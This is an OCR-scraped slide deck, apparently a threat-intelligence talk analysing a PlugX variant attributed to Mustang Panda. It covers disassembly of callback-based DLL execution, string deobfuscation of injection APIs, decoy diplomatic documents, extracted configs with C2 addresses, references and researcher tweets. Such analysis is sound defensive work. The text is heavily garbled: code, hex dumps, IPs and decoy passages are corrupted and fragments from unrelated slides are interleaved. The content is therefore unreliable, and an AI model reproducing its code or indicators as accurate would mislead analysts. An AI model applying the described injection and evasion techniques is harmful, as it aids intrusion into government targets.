92100040| @0 GO 00 0D 00 00 00 OO 00 00 0D 0P PO PO 0O 00 DO1AEFF8 6D7S6EL5 [+ 'Enum' */
02100056 @6 60 6O 60 6O @O 6O GO 00 B9 B0 0O FO @0 B0 00 @BLAEFFC - 70737953 (wowslcpu.dll 20080800 : .
92100060 —
;ii;;;:; 2; ;; 32 g; 32 2‘; 23 5[2) :1 gg g; g; 2[1) :‘é zg ZE Decrypted D11 .text:7U9CB598 ) TUF53961 (user32.dll ! user32_EnumThreadwWindows
02100080| 74 20 62 65 20 72 75 6E 20 69 6F 20 44 AF 53 28 -text:749CB598 loc_7U9CB598: ; CODE XREF: sub_749C96B8+21D61tj ©0eeBeFF
22100000] 6D 6F 64 65 2E @D 6D BA 24 00 00 00 G0 00 9 08 .text:749CB598 0AB push [ebp+var_ug] H lpPr?cName . 60000000
o21000n2] 74 2F 68 33 30 4E OF 6@ 30 AC OF 6@ 30 4E OF 60 .text:749CB59B OAL call ; retrieve user32 EnumThreadwWindows 6D8FF794
p2100088| 76 1F EF 6@ 14 4E O 6@ 76 1F D1 6@ 21 4E OF 60 o [FextasEEs HEEEEASY
n21000C6\ 76 1F EE 60 5D AF OF 6@ ED B1 C5 6@ 35 AF OF 60 |- Fext:TuSCBoAG 0AG xor ecx, ecx ) 9EF1CELU
62100000 =5 = = i . .text:7U9CB5A2 0AB push ecx ; LParam ©e1DF5A8 ©e1DFB24 D7@7CC51
.text:749CB5A3 0AL push [ebp+1lpAddress] ; lpfn ©01DFUES 00000600
®|. text:7uscesA6 0As nush 2 ; dwThreadId TU9CB5AT (.text ! sub_749C90BE+2UFT
.text:7U49CB5AT OAC call eax ; call user32_EnumThreadWindows to exec decrypted D1l 000082U6
.text:7u49CB5AT 068688 7TF
®|. text:749CB5A9 BAC mov eax, [ebp+var_78]
®|. text:7u9cB5AC 0AC mov eax, dword_749DDF28 STACK CODE DATA RODATA VALUE

] deREferencing - Stack
901DFUES
981DFUEC BOEBSAUD |
961DF4FE CEEERELE]

9B1DFUFY 6D756EU5 /x 'Enum' %/

00000000

iRl ]
=]
o Do

&
&
e
@
0668000 9B1DFUFS 65726854 /+ 'Thre' =/
i 3213 Decrypted 9B1DFUFC 69576461 /+ ‘aduWi' */
90668028 DLl ©61DF568 TT6F6UGE /+ 'ndow' */
e066BO30 /xSyl ow/
om0 001DF504 5B590073 s
I 001DF508 304420463 /+ 'c$DO' */
20668850
IO, 901DF56C 90062E00
" 00668060 001DF510 304420463 /+ 'c$DO' */
09/09/2022 MU seesssere
eos6B080 ©01DF514 801DF580

©01DF518 30442063 /+ 'c$DO' */




String deobf: tight strings

-
*wsz_decStr = *"S\xeed\xeeJ\xe0j\xeen\xeex\xeem\xee[";
*&wsz_decStr[8] = *"z\x00 \x00 \x00~\x08x\x00p\x00u\xeeV";

wsz_decStr 32 = 0x10; i Frame Offset String
ve = B; 0x1080010829 FatalAppExitWw
Bx18881169 kernel32.dll
8x188811c3 SetUnhandledExceptionFilter
{ Bx1080121d WriteProcessHemory
: P : n . 8x100012ch CreateThread
WE%_deCStr[l] {l + 8XS5AE6) Bx5AEG; 9x1080881357 WaitForSingleObject
+1, gx10808813df WaitForSing{qZpyurj
} ax108617a9 user3z.dll
. Bx18881837 advapi3z.dll
(1<33); Bx1d080818c5 ws2_32.d11
v = B° 818881952 shell32.dll
! 8x188819dc shlwapi.dll
sub_100352A0(wsz_decStr, 1); 8x10001a69 psapi.dll
i=6- B8x10881af3 version.dll
! 8x10061b31 msucrt.dll
*wsz_decStr = *"S\x08d\xe8Z\xee1l\xeen\x008]\xe0x\x08b"; 0x10001c be winhttp.d1l
x&wsz_decStr[8] = ex60007E; 9x10001c9b olesz.dll
Bx18881ee? CreateMutexW
*&wsz_decStr[exA] = 8x72807A; 8x10081fee SetUnhandledExceptionFilter
*&WEZ_d@CStr[@XCJ = @XT@@@T?}, Bx10802 095 FI[!ll:lSEHaI:II:IlE
8x18002164 CommandLineToArguy
wsz_decStr[exgE] = ex12; 0x100021F2 GetConmandLiney
vS = B; 8x180022cd ExitProcess
8x188025 05 SetEvent
8x1808826a8 SeDebugPrivilege
f Bx18882746 SeTcbPrivilegel]
. . A=18818fc? GetModuleFileNameW
wsz_decStr[i] ~= (i + ©x5AE6) " OXS5AE6; 810819377 GetHoduleF
++i4 Bx18819445 GetModul}
0x100194e4 8x14ed 1strcath
} Bx10819578 Bx1%ab Qnya

{ i< 29 )- 0x108019578 x19c8 AvastDB.dat
! Bx188195629 Bx1e28 HeapAlloc
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Decoy documents

09/09/2022

fa€ EU 31st session of the Commission on Crime Preventi.

European Union
EU Statement on
General Debate
31 session of the Commission o
Grime Prevention and Griminal Justice
United Nations Office on Drugs and Crime (UNODC)

Vienna, 16-20 May 2022

Disinguished Chair
Daar collaagues,

he honaurto speak on behall of the European Union (EU) and its Membe:
States. The following countries align themselves with this statement: [Turkey?
Montenegra’, Sertia’, Albania’, Bosnia and
Icelang”, Liechtenstein®, Nerway, Ukraine, the Republic of

Moldova, Armenia, Azerbaijan. Georgis, Andoria and San Marino)
The Commission of Crime Prevention and Criminal Justice whose mandate
includes leasing the intematicnal aclien ta combat naional and transnational
crime, 75 gathering in a criical context. Indeed, as we speak, the Russian
Federation's unlawful, unprovoked and unjustified aggression in Ukraine is
eausing massive 108 of Iife a0 harm to civilans, Therefore. 161 me express the
EU and its Membar States’ ull solidarity with Ukraine and the Ukrainian people
Today, the EU is more determined than ever to stand for the principles we value
ana sirongly condemn the war crimes committed by the Russian Federation in
Ukraing. which are threatening international security, stabty and violate
intemationsl law and our common principles 85 United Nations. The Uinion

ms ils eommitment o providing al the ary

authoriies to investigate and prosecuts war crimes, including by providing
farensic expertise and technical assitance, 1o ensure the perpeliators are

Page Layout

amentary and presidential republic w
choose both the preside icameral
The president nominates, jament approves,

bservation mission of the Office for Denocr

NV 309-2022 HMA's departure.pdf - SumatraPDF

Note 309/2022

Her Britannic Majesty’s Embassy presents its compliments to the Ministry of Foreign
Affairs of the Republic of Turkiye and have the honour to refer to NV 247/22 and to
inform the Ministry that Sir Dominick Chilcott will depart Ankara on 26 June.

Ms Marianne Young, Deputy Head of Mission, will be Charge d'Affaires until the
arrival of Mr Ajay Sharma on 18 June 2022 as referred o in NV 300/22.

Her Britannic Majesty’s Embassy avails itself of this opportunity to renew o the

Ministry of Foreign Affairs of the Republic of Turkiye the assurance of their highest
consideration.

Ankara
24 June 2022

HU proposals to the draft EUCO conclusions.DOCX - Microsoft Word

References  Mailings  Review Vie

UKRAINE

Brussels, 30 Way 2022
{OR en}

feel Predlog termina zvanicne posjete zamjenice predsjedavajuce.
File View GoTo Zoom Favorites Settings Help

= | Page: 11 x Find:

Ambasada Cre Gore

Sarajevo
s )

20. jun 2022

Predmet: Prediog termina zvaniéne posjete zamjenice predsjedavajuceg Vijeéa
ministara i ministarke vanjskih posiova Bosna | Hercegovine Bisere Turkovié
Croj Gorl

Veza: vas dopis broj 5/1-000/22-1681-5 od 17. juna 2022, godine

teisfonskom razgovoru obavijenom 17. juna 202 ne sa $abanom F
m savjelnikom u Kabinetu zamjenice predsjedavajuéeg Vijleéa ministara |
njskih posiova BiH Bisere Turkovié, obavjedteni smo da je ministarka
ssna sa terminom 2122, jul 2022. godine, kao adekvatanim za
e posjete Crnoj Gori

imo za instrukciju za dalje postupanje

KAM, GS, GDBIS

tpraynik posiova ai

Satka Hajdarpasic

Non-Paper Pandemic Resilience fin...

- Home Insert Pagelayout References  Mailings

[ Non-paper

Containing the pandemic: shart term operational aspects and longer-term regulatory

957922

LMITE

ipment from the entise temvitery of Ukreine within

The atrocitizs

measures for enhancing resilience against future variants or pandemics

19 pandamic is gradually enteringanew phase of transition towards 2n ends
B However, whereasthe number of desths and severe ilin

CO EUR-PREP 17

not exclude the possibility of new pandemic surges dus to new

immunity that will put our nationsl hesith systems under renewed pr
environmental changes contribute to the emergence of impartant infectious di

spectrum ofwhicl s repidly 2nd require 2 high level of preparedne

‘misuse of uffice and state resources and dominant media coverage, w

ondermined the g formation available 10 volers. Milo Djukanovic,

continue to pose s

president of the Ds ‘\|Il‘l.l\\\ < Party of Socialists, was elected president in 2018 with
scarly 4 porcent of the vote in the frst round for his sccond term a3 pres

had already served six terms as prime mrinister. Ob
fior Security and Cooperation in Europe, the Furopean Parliament, and the Council g the procesdings of the Cownc:

of Europe’s Parliamentary Assermbly noted the election proceeded in an ords conclusions of the European Council

mer but had minor iregularities that did not affect the outcome. Despite e Eu
tha European Cour
oppesition protests, elections were generally considered fred
The Natianal Police Force, which ineludes Border Poliee, s responsible for
waintaining internal security. It is organized under the Police Administration
within the Ministry of Interior and reports 1o the police dires through the
direcior, fo the minisier of interior and p er. The Armed Forees of
Monteneg responsible for extemal security and consist of an army, navy, a
air farce that are overseen by the Ministry of Defense. Civilian authurities
maintained effestive control over the security forces. Members of the security
forces commitied some abuses.

redible reports of:
dependence of the judict

ds:2,381 | B |

disruptions of sac

The Commission’s Communication "Covid-19 - Sustaining EU Preparedness and Response:
omprhensive averview of the actians ta be taken in the shart

draft
) af the Rules of Procadure of

rry. The Eutopssm USion s umwavering in its
st the Russi entual detarioration of the situstion but also (8] to reflact on

i
by A prioritizing short-term oper

Inthis remard

A) short term operational measures

©On the basis of scientific advice, we need to establish a coordinated approzch on the

dministration of 2 new booster dose 2s well 25 the need of 2 seasonal Covid-19
ne Iy, we nead to identify which populstion groups nead to

ative timelings for the progress of
the following months. In this respect, it is important to t

development of new effect on infection and further t

EEEEE Words: 2,108 | <3

tthe



Decrypt configuration

e Thong tin cAu hinh dudc luu tai section .data=wvéi dd 1dn
OxU5C bytes.

« SU dung vong 1lap vdi 1énh XOR dé giai ma.

# plugx_extract_custom_config.py plugx_dec_config.bin

Config file: plugx_dec_config.
Config size: 1116 bytes
Folder name: AvastCRw
Mutex name: pLypWMWQVZfqUngLwDOVE
Decoy document info: EU 31st session of the Commission on Crime Prevention and Criminal Justice United Nations on Drugs and Crime.pdf
C2 servers:
10d.255.17d.58:4u3
104.255.174.58: 443
104.255.174.58: 443
Campaign ID: test2822
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Refs

e PlugX: A Talisman to Behold .

 Mustang Panda deploys a new wave of malware targeting
Europe

e THOR: Previously Unseen PlugX Variant Deployed During
Microsoft Exchange Server Attacks by PKPLUG Group

« BRONZE PRESIDENT Targets Russian Speakers with Upda%eﬁzﬁiugx_,

o
..,«————
—— e

e Mustang Panda’'s Hodur: 0ld tricks, new Korplug varlanf
e Advanced persistent threat group feature: Mustang Par —

éﬁz._
« PhAn tich ma dbéc 1gi dung dich Covid-19 dé phat tanaxﬂilnao_"
“Chi thi cla thd tudéng Nguyén XuAn Phuc” ;:ztﬂww-

—

« Nhodm APT Mustang Panda co thé van dang tiép tuc hoat dong tan
cdng vao cac to6 chuc tai Viét Nam
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https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/plugx-a-talisman-to-behold.html
http://blog.talosintelligence.com/2022/05/mustang-panda-targets-europe.html
https://unit42.paloaltonetworks.com/thor-plugx-variant/
https://www.secureworks.com/blog/bronze-president-targets-russian-speakers-with-updated-plugx
https://www.welivesecurity.com/2022/03/23/mustang-panda-hodur-old-tricks-new-korplug-variant/
https://www.digitalshadows.com/blog-and-research/advanced-persistent-threat-group-feature-mustang-panda/
https://blog.vincss.net/2020/03/re012-phan-tich-ma-doc-loi-dung-dich-COVID-19-de-phat-tan-gia-mao-chi-thi-cua-thu-tuong-Nguyen-Xuan-Phuc.html
https://blog.vincss.net/2022/05/re027-nhom-apt-mustang-panda-co-the-van-dang-tiep-tuc-hoat-dong-tan-cong-vao-cac-to-chuc-tai-Vietnam.html

End..

tﬁ} Barberousse @barberousse_bin - Jun 21

Replying to @kienbigmummy
I've been tracking them for a while and this definitely looks like

#MustangPanda. Recently, they started using a lot of those esoteric API
calls with callbacks to execute shellcode. Like, why is GrayStringW even a

function?!

Q gl L e

ChrisPooh @chrispooh007 - Jul 20
¥ Replying to @kienbigmummy and @DangDinhPhuong3

@kienbigmummy can reach out me :)

f: ) 1 T__l- :‘: f'l

[

m mAnOwAr @kienbigmummy - Jul 20
2 Ok, bro!! Will tag you if samples uploaded from SG.

Q) (!l QO 1 w 1l

Douglas Mun @douglasmun - Jul 19
¢ Replying to @kienbigmummy and @DangDinhPhuong3

Thanks for the alert! | have informed @CSAsingapore malware team to

examine it.
Qo g L B o
09/09/2022 “Mustang

TEAM CYMRU - §2 @teamcymru_S2 - Jun 10
Nice find @kienbigmummy dg

Our threat telemetry for the C2s (45.134.83.4 & 154.204.26.120) confirms
the targeting of entities in Myanmar, including a government VPN portal,
from early March 2022 onwards.

#ThreatRecon #MustangPanda

" mAnOw4r @kienbigmummy - Jun 2

& Found new #MustangPanda #PlugX was submitted from SG. Sample
hash: 1abaee6e33385b69b7ca46229fb64b8b

EHtDbYH @strinsertiNa - Aug 25
Thanks for sharing your artifact analysisQ

™% mAnOwAr @kienbigmummy - Aug 25

Nice share!

¥ HUI Loader (d839ab2c2ea8f082f98478cb552d6709)

}D:Create a service name "WxUpdateServicelnfo" ->spawn thread for
load system.ini-> decoding sc and inject decoded sc into svchost.exe
(1/4) twitter.com/Metemcyber/sta...

Show this thread

ract_config.py plugx_config.dw

fFile: plugx_config.dusp
size: 5660 bytes

name: WWINDIRW\Up\Service Log
name: Master Service Log

nfo: HTTP: //
ers:
134.83.4:443

ges.myanmarnewsonline. org:22
ges.ayanmsarmewsonline.org: 88
204, 26.120:843

ate hilifimyansar.com: QU3
ate. hilifimyansar.com:22

n ID: 1234

¥ s T
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